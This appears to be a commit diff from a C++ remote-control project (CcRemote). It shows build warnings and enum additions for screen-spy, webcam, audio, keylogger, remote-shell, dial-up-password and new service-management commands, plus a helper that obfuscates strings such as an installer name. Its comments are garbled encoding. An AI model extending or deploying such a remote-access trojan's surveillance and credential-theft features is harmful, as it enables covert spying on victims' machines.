d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
CFileManagerDlg.cpp
|
CFileManagerDlg.cpp
|
||||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||||
@@ -34,6 +34,9 @@ f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129:
|
|||||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
|
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
|
||||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
|
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
|
||||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
|
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
|
||||||
|
CServerDlg.cpp
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
FileTransferModeDlg.cpp
|
FileTransferModeDlg.cpp
|
||||||
CScreenSpyDlg.cpp
|
CScreenSpyDlg.cpp
|
||||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
|
Binary file not shown.
@@ -43,15 +43,17 @@ enum
|
|||||||
WM_OPENKEYBOARDDIALOG, // <20><EFBFBD><F2BFAABC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
WM_OPENKEYBOARDDIALOG, // <20><EFBFBD><F2BFAABC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||||
WM_OPENPSLISTDIALOG, // <20><EFBFBD><F2BFAABD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
WM_OPENPSLISTDIALOG, // <20><EFBFBD><F2BFAABD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
WM_OPENSHELLDIALOG, // <20><><EFBFBD><EFBFBD>shell<6C><6C><EFBFBD><EFBFBD>
|
WM_OPENSHELLDIALOG, // <20><><EFBFBD><EFBFBD>shell<6C><6C><EFBFBD><EFBFBD>
|
||||||
|
WM_OPENSERVERDIALOG, // <20><EFBFBD><F2BFAAB7><EFBFBD>
|
||||||
WM_RESETPORT, // <20>ı<EFBFBD><C4B1>˿<EFBFBD>
|
WM_RESETPORT, // <20>ı<EFBFBD><C4B1>˿<EFBFBD>
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
FILEMANAGER_DLG = 1,
|
FILEMANAGER_DLG = 1, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
SCREENSPY_DLG,
|
SCREENSPY_DLG, // <20><>Ļ
|
||||||
WEBCAM_DLG,
|
WEBCAM_DLG,
|
||||||
AUDIO_DLG,
|
AUDIO_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
KEYBOARD_DLG,
|
KEYBOARD_DLG, // <20><><EFBFBD><EFBFBD> δʵ<CEB4><CAB5>
|
||||||
SYSTEM_DLG,
|
SYSTEM_DLG, // <20><><EFBFBD><EFBFBD>
|
||||||
SHELL_DLG
|
SHELL_DLG, // shell<6C><6C><EFBFBD><EFBFBD>
|
||||||
|
SERVER_DLG // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
|
@@ -18,6 +18,8 @@
|
|||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
|
#include <afxwin.h>
|
||||||
|
#include <afxwin.h>
|
||||||
|
|
||||||
#endif //PCH_H
|
#endif //PCH_H
|
||||||
|
|
||||||
|
Binary file not shown.
BIN
bin/CcRemote.exe
BIN
bin/CcRemote.exe
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -74,7 +74,9 @@ enum
|
|||||||
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||||
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
||||||
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||||
@@ -111,7 +113,8 @@ enum
|
|||||||
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
TOKEN_SHELL_START // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||||
|
TOKEN_SERVERLIST // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
@@ -119,6 +122,6 @@ enum
|
|||||||
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
|
|
||||||
#define STR_CRY_LENGTH 0 //<2F><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>
|
|
||||||
|
|
||||||
#endif // !defined(AFX_MACROS_H_INCLUDED)
|
#endif // !defined(AFX_MACROS_H_INCLUDED)
|
Binary file not shown.
Binary file not shown.
@@ -39,10 +39,10 @@ char* uncode(char* str)
|
|||||||
|
|
||||||
int main()
|
int main()
|
||||||
{
|
{
|
||||||
char a[] = "CcRmt";
|
char a[] = "REG_SZ";
|
||||||
char b[] = "123456789!";
|
char b[] = "REG_DWORD";
|
||||||
char c[] = "LyxInstaller.exe";
|
char c[] = "REG_BINARY";
|
||||||
char d[] = "%-24s %-15s 0x%x";
|
char d[] = "REG_MULTI_SZ";
|
||||||
char* s1 = crycode(a);
|
char* s1 = crycode(a);
|
||||||
char* s2 = crycode(b);
|
char* s2 = crycode(b);
|
||||||
char* s3 = crycode(c);
|
char* s3 = crycode(c);
|
||||||
|
Reference in New Issue
Block a user